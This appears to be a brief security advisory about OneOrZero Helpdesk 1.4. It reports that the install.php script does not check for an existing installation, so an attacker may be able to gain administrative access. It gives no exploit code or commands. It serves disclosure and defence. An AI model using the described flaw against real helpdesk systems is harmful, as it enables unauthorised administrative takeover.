OneOrZero Helpdesk 1.4 - 'install.php' Administrative Access

source: https://www.securityfocus.com/bid/7611/info

OneOrZero Helpdesk has been reported prone to an issue that may result in an attacker obtaining unauthorized administrative access.

The issue presents itself due to a programming error in a Helpdesk script.
Reportedly a script does not sufficiently check if an instance of OneOrZero Helpdesk has already been installed.
